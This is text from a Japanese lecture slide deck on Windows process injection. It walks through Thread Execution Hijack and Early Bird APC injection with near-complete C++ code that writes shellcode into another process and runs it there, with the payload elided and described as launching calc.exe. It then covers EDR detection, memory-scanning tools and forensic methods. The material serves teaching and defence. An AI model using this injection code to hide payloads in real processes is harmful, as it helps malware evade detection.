  56. Thread Execution Hijackの流れを図解(全7ステップ) Step 1: 対象スレッドをサスペンド状態(停⽌状態)にする Step 2: スレッドコンテキストを取得して、次に実⾏する命令位置を改竄 Step

    5 Step 6 プロセス A (悪) プロセス B (正) SuspendThread() プロセス A (悪) GetThreadContext() プロセス B (正) Shellcode Thread 停⽌ 停⽌ Thread SetThreadContext() Shellcode   次に実⾏すべき位置をシェルコードの先頭に書き換える!
  57. Thread Execution Hijackの流れを図解(全7ステップ) Step 1: 対象スレッドのサスペンド状態を解除する (スレッドを再開) Step 7 プロセス

    A (悪) プロセス B (正) ResumeThread() Shellcode Thread 再開 電卓 シェルコードが実⾏され、電卓が起動する!
  58. Thread Execution Hijack ステップ1: 対象のプロセスのハンドルを取得 hProcess = OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION                |PROCESS_CREATE_THREAD,FALSE,

    dwPid); • dwPidに⼊ったプロセスIDのプロセスのハンドルを取得 ◦ プロセスIDはコマンドライン引数で指定したものがdwPidに • 対象プロセスに対して、以下の権限を取得 ◦ PROCESS_VM_WRITE    -> メモリへの書き込み権限 ◦ PROCESS_VM_OPERATION -> メモリの操作権限 ◦ PROCESS_CREATE_THREAD -> スレッドを作成する権限
  59. Thread Execution Hijack lpBuffer = VirtualAllocEx(hProcess, nullptr, sizeof(shellcode),   MEM_RESERVE

    | MEM_COMMIT, PAGE_EXECUTE_READWRITE); ステップ2: シェルコードを書き込む為のバッファ(メモリ)を対象 プロセス側に確保 • 対象のプロセス(hProcess)にシェルコードサイズ分のメモリを確保 ◦ 確保したバッファのアドレスはlpBufferという変数に格納 ◦ シェルコードサイズはsizeof(shellcode)で計算 • メモリの状態 ◦ MEM_RESERVE | MEM_COMMIT ->メモリを確保 • メモリのアクセス保護属性 ◦ PAGE_EXECUTE_READWRITE -> 読み書き実⾏
  60. Thread Execution Hijack ステップ3: 確保したバッファにシェルコードを書き込む    WriteProcessMemory(hProcess, lpBuffer, shellcode,   sizeof(shellcode), NULL);

    • 確保したバッファ(lpBuffer)にshellcodeを書き込む ◦ 電卓(calc.exe)を起動するシェルコードを利⽤ ◦ msfvenomを利⽤して⽣成 • 補⾜: 各引数の意味 ◦ hProcess: 対象プロセスのハンドル ◦ lpBuffer: シェルコードの為に確保したバッファのアドレス ◦ shellcode: シェルコードのアドレス
  61. Thread Execution Hijack ステップ4: 対象プロセスのスレッドを探してそのハンドルを取得  hThread = GetFirstThread(dwPid); • GetFirstThread関数は⾃作関数

    ◦ 対象プロセスのスレッドを探してハンドルを取得している • GetFirstThread関数のの中⾝ ◦ CreateToolhelp32Snapshot ▪ 全スレッドの情報を取得 ◦ Thread32First/Thread32Next ▪ スレッドを⼀個ずつ列挙して、対象プロセスに紐づくスレッドを⾒つける ◦ OpenThread ▪ 対象スレッド(発⾒されたスレッド)のハンドルを取得
  62. Thread Execution Hijack ステップ6: (対象プロセスの)スレッドコンテキストを取得し て次に実⾏する命令位置の改竄 CONTEXT ctx{}; ctx.ContextFlags =

    CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); ctx.Rip = (ULONGLONG)lpBuffer; SetThreadContext(hThread, &ctx); • GetThreadContext ◦ 対象スレッドのスレッドコンテキストを取得しCONTEXT構造体に格納 ◦ CONTEXT構造体のContextFlagsメンバに⼊れたフラグに基づき、どの値を取 得するか等が決まる ▪ RIPレジスタの値を取得したい為、CONTEXT_CONTROLを設定 • ctx.Rip = (ULONGLONG)lpBuffer ◦ ripレジスタの値を、シェルコードのアドレスにする RIPには次実⾏すべきアドレスが格納されている
  63. APC Injection (EarlyBird)のコード APCキューを利⽤してメインスレッド実⾏前に任意のコードを挿⼊する BYTE shellcode[] ="(省略)"; STARTUPINFOA si{}; PROCESS_INFORMATION

    pi{}; //[1] 新規に正規のプロセスを作成する。その際メインスレッドをサスペンド状態で作成する。 CreateProcessA(nullptr, argv[1], nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)); //[2] シェルコードを書き込むためのバッファ(メモリ)を正規プロセス側に確保する lpBuffer = VirtualAllocEx(pi.hProcess, nullptr, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); //[3] 確保したバッファにシェルコードを書き込む WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL); //[4] サスペンド状態のスレッドのAPCキューにシェルコードのアドレスを⼊れる PTHREAD_START_ROUTINE apcRoutine =(PTHREAD_START_ROUTINE)lpBuffer; QueueUserAPC((PAPCFUNC)apcRoutine, pi.hThread, NULL); //[5] 対象スレッドのサスペンド状態を解除する(スレッドを再開する) ResumeThread(pi.hThread); 04_apcinjection.cpp 主要なコードはたったこれだけ!
  64. APCとは何か 
 • APC: Asynchronous Procedure Calls ◦ ⽇本語では「⾮同期プロシージャ呼び出し」 ◦

    特定のスレッドのコンテキストで、⾮同期に呼び出される関数 • ⾮同期処理とは何か? ◦ あるタスク(プログラム)が上から順次実⾏している最中に、その処理を ⽌めることなく別のタスク(プログラム)を実⾏出来るという⽅式 ◦ 特定のタスクの終了を待つことなく、別のタスクを実⾏できる • (再掲)各スレッドに個別に独⾃のAPCキューがある
  65. APCキューとは何か 
 • APCキューに格納した関数が実⾏される条件 ◦ スレッドがアラート可能な待機状態になった時 ▪ SleepEx関数とか ◦ スレッドの実⾏を開始する前に

    APC(関数) をキューに⼊れた場 合は、スレッドは APC 関数を呼び出すことによって開始される ▪ EarlyBirdではこの性質を利⽤ ⾮同期で呼び出したい関数のキュー(関数の待ち⾏列) 関数1 APCキュー (のイメージ ) 関数2 関数3 空き 空き キューの先頭の関数から実⾏される 先頭 (補足:APCにも様々な種類があるが、ここでは通常のユーザモードの APCについて話している )
  66. 名前 説明 CreateProcessA 新しいプロセスと、そのメインスレッドを作成する VirtualAllocEx 指定されたプロセスの仮想アドレス空間内のメモリ領域 の予約とコミットの⼀⽅または両⽅を⾏う WriteProcessMemory 指定されたプロセスのメモリ領域にデータを書き込む QueueUserAPC

    指定したスレッドの APC キューにユーザモードAPC(⾮同 期プロシージャ 呼び出し)オブジェクト(関数)を追加 ResumeThread スレッドの中断カウントを⼀つ減らす(0でスレッド再開) APC Injection (Early Bird) で利⽤する主要API
  67. APC Injection (Early Bird)の流れを図解(全5ステップ) Step 1: 新規に正規のプロセスを⽣成する Step 2: シェルコード書き込むためのバッファを対象プロセス側に確保

    Step 1 Step 2 プロセス A (悪) プロセス B (正) CreateProcessA() プロセス A (悪) VirtualAllocEx() プロセス B (正) その際メインスレッドをサスペンド状態で作成する Thread 停⽌ Thread 停⽌
  68. APC Injection (Early Bird)の流れを図解(全5ステップ) Step 1: 対象スレッドのサスペンド状態を解除する(スレッドを再開する) Step 5 プロセス

    A (悪) プロセス B (正) ResumeThread() Shellcode Thread 再開 シェルコードが実⾏され、電卓が起動する! 電卓
  69. ステップ1: 新規に正規のプロセスを⽣成する STARTUPINFOA si{}; PROCESS_INFORMATION pi{}; CreateProcessA(nullptr, argv[1], nullptr, nullptr,

    FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)); APC Injection (EarlyBird) • CreateProcessAで新規プロセスを作成する ◦ 今回はnotepad.exeを指定(1番⽬のコマンドライン引数で指定) ◦ 新規プロセスのメインスレッドをサスペンド状態で⽴ち上げ • CREATE_SUSPENDEDフラグで指定 • 補⾜: 利⽤している構造体 ◦ STARTUPINFOA: 新規作成プロセスの情報(ウィンドウ情報等)を格納する構造体 ◦ PROCESS_INFORMATION: 新規作成プロセスの情報(PID/ハンドル)とそのメイン スレッドの情報(TID/ハンドル)の情報を格納する構造体
  70. lpBuffer = VirtualAllocEx(pi.hProcess, nullptr, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); APC

    Injection (EarlyBird) ステップ2: シェルコードを書き込む為のバッファ(メモリ)を対象 プロセス側に確保 • 新規作成プロセス(pi.hProcess)にシェルコードサイズ分のメモリを確保 ◦ 確保したバッファのアドレスはlpBufferという変数に格納 ◦ シェルコードサイズはsizeof(shellcode)で計算 • メモリの状態 ◦ MEM_RESERVE | MEM_COMMIT ->メモリを確保 • メモリのアクセス保護属性 ◦ PAGE_EXECUTE_READWRITE -> 読み書き実⾏
  71. WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL); APC Injection (EarlyBird) ステップ3: 確保したバッファにシェルコードを書き込む

    • 確保したバッファ(lpBuffer)にshellcodeを書き込む ◦ 電卓(calc.exe)を起動するシェルコードを利⽤ ◦ msfvenomを利⽤して⽣成 • 補⾜: 各引数の意味 ◦ pi.hProcess: 対象プロセスのハンドル ◦ lpBuffer: シェルコードの為に確保したバッファのアドレス ◦ shellcode: シェルコードのアドレス
  72. ステップ4: サスペンド状態のスレッドのAPCキューに シェルコードのアドレスを⼊れる PTHREAD_START_ROUTINE apcRoutine =(PTHREAD_START_ROUTINE)lpBuffer; QueueUserAPC((PAPCFUNC)apcRoutine, pi.hThread, NULL); APC

    Injection (EarlyBird) • シェルコードを格納したアドレスを関数のアドレスとして扱うよう変換する ◦ apcRoutine =(PTHREAD_START_ROUTINE)lpBuffer; • QueueUserAPCを利⽤してシェルコードをスレッドのAPCキューに⼊れる APCキュー (のイメージ ) 関数1 (シェルコード) 空き 空き 空き 空き 先頭
  73. ステップ5: 対象スレッドのサスペンド状態を解除する ResumeThread(pi.hThread); APC Injection (EarlyBird) 電卓 • 最初にAPCキューの先頭から関数を取り出して実⾏する ◦

    結果的にシェルコードが実⾏され、電卓が⽴ち上がる (再掲) スレッドの実⾏を開始する前に APC(関数) をキューに⼊れた 場合は、スレッドは APC 関数を呼び出すことによって開始される
  74. その他著名な Process Injection手法 • Reflective DLL Injection • APC Injection

    • Early Bird APC Injection • Atom Bombing • Process Hollowing • Process Doppelgänging • Process Herpaderping • Process Ghosting 講義では基礎的な⼿法を取り上げたが、他にも⼿法はごまんとある
  75. 発展的内容 : PPL Bypass • PPLDump ◦ https://github.com/itm4n/PPLdump ◦ PPLで保護されたプロセスのメモリをダンプするツール

    (現在は対策済み) • PPLFault ◦ https://github.com/gabriellandau/PPLFault ◦ PPLで保護されたプロセスがDLLを読み込み‧実⾏前に(署名チェックが 済んだ後に)わざとページフォルトを引き起こし※、別のDLLを読み込ま せる(TOCTOUの脆弱性) 保護されたプロセス(Protected Process Light)のバイパスツール ※仮想メモリが物理メモリにマッピングされていない状態でアクセスしてしまった時に発⽣する割り込み処理
  76. EDRでの検知方法の一例 [1/4] エンドポイントセキュリティ (EDRとは?) • AV: Antivirus Software ◦ 事前対策

    (感染前検知が⽬的) ◦ シグネチャ(パターン)ベースのマルウェア検知 (従来型) ◦ 機械学習/AIを使った次世代型アンチウィルスソフト(NGAV)が最近の主流 • EDR: Endpoint Detection and Response ◦ 事後対策 (感染後‧侵⼊後の検知と対応が⽬的) ◦ コンピュータにインストールされた、センサーと呼ばれるプログラムなどから収集した 情報(テレメトリ)から、挙動(振る舞い)ベースで感染‧侵⼊を検知 ◦ 去年のニュースから世界的にEDRの導⼊が進んでいることが分かる ▪ ⽇本でも⼤⼿企業で導⼊が進んできている ざっくり説明
  77. EDRでの検知方法の一例 [2/4] エンドポイントセキュリティ (EDRとは?) 画像出典元: Matt Hand, Evading EDR, 3p,

    Figure 1-1 EDRはレーダーのようなもの? • テレメトリ(データ) = 点 ◦ プロセス作成 ◦ ファイル書き込み ◦ ネットワーク接続 ◦ 怪しいAPIの呼び出し • 収集した情報を基に怪しいか怪しく無いか判断
  78. EDRでの検知方法の一例 [3/4] Elastic DefendではどのようにProcess Injectionを検知しているのか ⼀例を紹介 • よく使われるAPIを監視 (Event Tracing

    for Windowsベース) ◦ VirtualAlloc系/VirtualProtect系/WriteProcessMemory/MapViewOfFile系 /SuspendThread/ResumeThread/SetThreadContext/QueueUserAPC等様々 ◦ APIの呼び出し順や引数などをチェックして怪しい呼び出しでは無いかをチェック • OSレベル(ドライバ側)でプロセス⽣成/スレッド⽣成/DLL読み込みを監視 • プロセスやDLLのメモリをスキャン/チェック ◦ メモリ上に展開された不正なコードをシグネチャ等で検知 ◦ 不審なアクセス保護属性や種類を持つ仮想アドレス領域が無いかをチェック 多層的に防御して取りこぼしを防ぐ&検知回避を難しくさせることに注⼒
  79. 痕跡の見つけ方の一例 (ライブメモリスキャン ) • Process Injection等の特有の痕跡を中⼼に調査するメモリスキャンツール ◦ Get-InjectedThreadEx ▪ https://github.com/jdu2600/Get-InjectedThreadEx

    ◦ PE-sieve (+ Hollows Hunter) ▪ https://github.com/hasherezade/pe-sieve ▪ https://github.com/hasherezade/hollows_hunter ◦ Moneta ▪ https://github.com/forrest-orr/moneta • メモリ上にある不審なデータ‧コードをシグネチャ等で検知 ◦ YAMA(JPCERT/CC作成ツール) ▪ https://github.com/JPCERTCC/YAMA ▪ https://blogs.jpcert.or.jp/ja/2023/08/yama.html ▪ https://github.com/JPCERTCC/jpcert-yara プロセスメモリを直接スキャン等して痕跡を発⾒する
  80. Get-InjectedThreadEx Process Injection等の過程で作成された 不審な可能性の⾼いスレッドを発⾒するツール • not MEM_IMAGE (補⾜: Win32StartAddress が属する仮想アドレス領域がMEM_IMAGEではない場合)

    • MEM_IMAGE and Win32StartAddress is on a private (modified) page • MEM_IMAGE and x64 dll and Win32StartAddress is CFG violation or suppressed export • MEM_IMAGE and Win32StartAddress is in a suspicious module (補⾜: 例えばLoadLibraryAとか) • MEM_IMAGE and x64 and Win32StartAddress is unexpected prolog • MEM_IMAGE and Win32StartAddress is preceded by unexpected bytes • MEM_IMAGE and x64 and Win32StartAddress wraps non-MEM_IMAGE start address 以下のいずれかの条件に該当する時に不審なスレッド候補として検出する※ ※https://github.com/jdu2600/Get-InjectedThreadEx/blob/main/Get-InjectedThreadEx.cppから抜粋 主に新規スレッド作成の際に指定されたスレッド開始アドレス(Win32StartAddress)と その周辺のコード内容や、仮想アドレス領域の属性をチェック
  81. 痕跡の見つけ方の一例 (その他) • メモリダンプ解析(メモリフォレンジック)を⽤いた痕跡発⾒ ◦ Volatility 3 ( https://github.com/volatilityfoundation/volatility3 )

    ▪ Process Injectionをはじめとするマルウェアの痕跡を発⾒するプラグインが充実(以下例) • malfind - プロセスメモリ内の不審なメモリ領域の検出に利⽤ • ldrmodules - プロセスのロードモジュール(DLL⼀覧)から不審なDLLの検出に利⽤ • hollowfind - Process Hollowingの痕跡の検出に利⽤ • イベントログに着⽬した痕跡発⾒ ◦ Sysmon (https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon ) ▪ 有効になっていた場合に限るが例えば以下を記録 • Event 8 - CreateRemoteThreadを記録 • Event 25 - Process Tamperingを記録 (Process Hollowingなどの⾼度なプロセスイ ンジェクション検知)
  82. • 書籍 ◦ 『インサイドWindows 第7版 上下巻』 ▪ Andrea Allievi, Mark

    E. Russinovich, Alex Ionescu, David A. Solomon (著) ◦ 『Windowsカーネルドライバプログラミング』 ▪ Pavel Yosifovich (著) ◦ 『APIで学ぶWindows徹底理解』 ▪ 安室 浩和 (著), ⽇経ソフトウエア編集部 (著) ▪ (注)2004年出版のため、古い記述もあるが分かりやすい ◦ 『Windowsセキュリティインターナル』 ▪ James Forshaw(著)、北原 憲 (訳) • オンライントレーニングコース ◦ Pluralsight: Windows Internalsシリーズ ▪ Pavel Yosifovich (著) (https://www.pluralsight.com/authors/pavel-yosifovich) ▪ Windows11 Internalsのトレーニングもある さらなる学習の為の参考文献   Windows周り
  83. • 書籍 ◦ 『はじめて読む486―32ビットコンピュータをやさしく語る』 ▪ 蒲地 輝尚(著) ▪ (注)1994年出版。古い所もあるかもしれないが(対象は32bitだし)、名著として名⾼い ◦

    『プロセッサを⽀える技術』 ▪ Hisa Ando (著) ◦ 『デバッガによるx86プログラム解析⼊⾨【x64対応版】』 ▪ Digital Travesia管理⼈ うさぴょん (著) ◦ 『プログラマーのためのコンピュータ⼊⾨』 ▪ Lepton (著) さらなる学習の為の参考文献 コンピュータアーキテクチャ/ 低レイヤ周り
  84. • 書籍 ◦ 『マルウェアの教科書』 ▪ 吉川 孝志 (著) ▪ 2023年8⽉には増補改訂版も出版

    ◦ 『Practical Malware Analysis』 ▪ Michael Sikorski (著), Andrew Honig (著) ▪ 2012年出版で主にx86(32bit)対象だが、名著 ◦ 『アナライジング‧マルウェア』 ▪ 新井 悠 (著), 岩村 誠 (著), 川古⾕ 裕平 (著), ⻘⽊ ⼀史 (著), 星澤 裕⼆ (著) ◦ 『Evading EDR』 ▪ Matt Hand(著) ◦ 『実践 メモリフォレンジック』 ▪ Svetlana Ostrovskaya(著)、Oleg Skulkin(著)、⽯川 朝久(技術監修)、⼩林 稔(技術監修)、北原 憲(訳) さらなる学習の為の参考文献  マルウェアや攻撃コードなど